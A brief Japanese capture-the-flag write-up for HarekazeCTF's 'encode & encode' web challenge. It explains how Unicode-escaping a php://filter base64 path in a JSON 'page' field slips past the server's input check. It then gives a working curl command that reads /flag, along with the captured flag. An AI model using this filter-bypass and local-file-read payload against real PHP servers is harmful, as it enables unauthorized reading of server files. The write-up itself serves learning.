encode & encode(web 100pt)のwriteup
flagは/flag
にあるみたいです
{"page":"index.html"}
や{"page":"about.html"}
→OK
{"page":"/flag"}
はis_valid($body)
に引っかかり,invalid request.
{"page":"query.php"}
は$content
に"flag"が存在するので,is_valid($content)
に引っかかり,not found.
$body
と$content
にはチェックが入るが,$json['page']
には入らないことを利用しました.
php://filter/convert.base64-encode/resource=/flag
をunicodeエスケープすると,上手くいきました.
base64-encodeをしているのは,$content
の"HarekazeCTF"がreplaceされるためです.
curl "http://problem.harekaze.com:10001/query.php" -d '{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}'
Flag: HarekazeCTF{turutara_tattatta_ritta}
miscも実質web問だったし解きたかった...